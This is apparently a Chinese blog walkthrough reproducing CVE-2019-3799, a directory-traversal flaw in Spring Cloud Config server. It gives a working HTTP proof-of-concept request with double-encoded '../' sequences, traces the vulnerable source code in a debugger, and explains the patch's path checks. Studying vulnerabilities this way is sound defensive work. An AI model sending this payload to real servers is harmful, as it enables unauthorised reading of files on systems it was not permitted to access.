
CVE-2019-3799spring-cloud-config 目录穿越漏洞复现
目前受影响的 Spring Cloud Config 版本:
-
Spring Cloud Config 2.1.0 ~ 2.1.1 -
Spring Cloud Config 2.0.0 ~ 2.0.3 -
Spring Cloud Config 1.4.0 ~ 1.4.5
先放 poc:
GET /aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
本地测试是在 windows 下,%252F 的数量可以根据系统和目录的不同进行增减。
为了展示更好的利用效果,我们在 C:\Temp 目录下建一个 1.txt,内容为 test。 发送利用代码: 漏洞源码下载地址: https://github.com/spring-cloud/spring-cloud-config/releases/tag/v2.1.0.RELEASE
用 IDEA 打开 spring-cloud-config-server 的目录,spring-cloud-config 分为 server 端和 client 端,该漏洞是爆发在 server 端,所以打开的是 server 端的源码。断点在图中 ResourceController.java 的 77 行。
发送 POC,发现断点捕捉成功。
根据@RequestMapping("/{name}/{profile}/{label}/**")
可知,我们的路由是符合这个 action 的。 跟踪代码。 这块我们仔细讲下有几个函数下面的底层实现逻辑。
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile, @PathVariable String label, HttpServletRequest request, @RequestParam(defaultValue = "true") boolean resolvePlaceholders) throws IOException { String path = getFilePath(request, name, profile, label); return retrieve(name, profile, label, path, resolvePlaceholders); }
看下 getFilePath 的实现。
private String getFilePath(HttpServletRequest request, String name, String profile, String label) { String stem; if(label != null ) { stem = String.format("/%s/%s/%s/", name, profile, label); }else { stem = String.format("/%s/%s/", name, profile); } String path = this.helper.getPathWithinApplication(request); path = path.substring(path.indexOf(stem) + stem.length()); return path; }
直接来到 return,可以看到 IDEA 帮我们把变量的数值都已经计算出来了。通过 return 的 path 可知,这个 getFilePath 是用来获得 POC 里 URI 路径里的最后一段内容
..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt
回到上级代码,进入retrieve
函数的实现:
synchronized String retrieve(String name, String profile, String label, String path, boolean resolvePlaceholders) throws IOException { if (name != null && name.contains("(_)")) { // "(_)" is uncommon in a git repo name, but "/" cannot be matched // by Spring MVC name = name.replace("(_)", "/"); } if (label != null && label.contains("(_)")) { // "(_)" is uncommon in a git branch name, but "/" cannot be matched // by Spring MVC label = label.replace("(_)", "/"); } // ensure InputStream will be closed to prevent file locks on Windows try (InputStream is = this.resourceRepository.findOne(name, profile, label, path) .getInputStream()) { String text = StreamUtils.copyToString(is, Charset.forName("UTF-8")); if (resolvePlaceholders) { Environment environment = this.environmentRepository.findOne(name, profile, label); text = resolvePlaceholders(prepareEnvironment(environment), text); } return text; } }
根据源码可知,前两个 if 是用来替换目录中含有(_)
为/
的逻辑,一个替换 name 位置,一个替换 label 位置,直接来到 try 位置。看看 IDEA 告诉我们 name 和 label 具体对应的是什么。

来到 try,可以看到这个 try 有点不太一样,是try(){}
的形式,可以查一下资料: https://blog.csdn.net/qq_33543634/article/details/80725899 可知: 简单来说,
()
里的内容比 {}
先执行,进入 find0ne 方法:
public synchronized Resource findOne(String application, String profile, String label, String path) { String[] locations = this.service.getLocations(application, profile, label).getLocations(); try { for (int i = locations.length; i-- > 0;) { String location = locations[i]; for (String local : getProfilePaths(profile, path)) { Resource file = this.resourceLoader.getResource(location) .createRelative(local); if (file.exists() && file.isReadable()) { return file; } } } } catch (IOException e) { throw new NoSuchResourceException( "Error : " + path + ". (" + e.getMessage() + ")"); } throw new NoSuchResourceException("Not found: " + path); }
来到if (file.exists() && file.isReadable()) {
, 看下循环的getProfilePaths(profile, path)
的内容,是个数组,数组第一个不符合要求,第二个符合我们要读的文件内容: 循环来到第二个 local
..%2F..%2F..%2F..%2F..%2F..%2FTemp%2F1.txt
进入 if 判断,如果文件存在,且可以 read,就会返回 file。
这时候已经把读出来的内容复制到 text 内容返回了。
最后展示到了返回值里。 整个漏洞流程就是这么个逻辑。
我们来看下补丁是怎么打的。在 2.1.2 代码与 2.1.0 代码进行比较。

@Override
public synchronized Resource findOne(String application, String profile, String label, String path) { if (StringUtils.hasText(path)) { String[] locations = this.service.getLocations(application, profile, label) .getLocations(); try { for (int i = locations.length; i-- > 0;) { String location = locations[i]; for (String local : getProfilePaths(profile, path)) { if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) { Resource file = this.resourceLoader.getResource(location) .createRelative(local); if (file.exists() && file.isReadable()) { return file; } } } } } catch (IOException e) { throw new NoSuchResourceException( "Error : " + path + ". (" + e.getMessage() + ")"); } } throw new NoSuchResourceException("Not found: " + path); }
多了isInvalidPath
和 isInvalidEncodedPath
,去看下这个两个函数的源码:
protected boolean isInvalidPath(String path) {
if (path.contains("WEB-INF") || path.contains("META-INF")) { if (logger.isWarnEnabled()) { logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]"); } return true; } if (path.contains(":/")) { String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path); if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) { if (logger.isWarnEnabled()) { logger.warn( "Path represents URL or has \"url:\" prefix: [" + path + "]"); } return true; } } if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) { if (logger.isWarnEnabled()) { logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: [" + path + "]"); } return true; } return false; }
private boolean isInvalidEncodedPath(String path) {
if (path.contains("%")) { try { // Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8 // chars String decodedPath = URLDecoder.decode(path, "UTF-8"); if (isInvalidPath(decodedPath)) { return true; } decodedPath = processPath(decodedPath); if (isInvalidPath(decodedPath)) { return true; } } catch (IllegalArgumentException | UnsupportedEncodingException ex) { // Should never happen... } } return false; }
对一些目录和字符串进行了过滤。
本文使用 mdnice 排版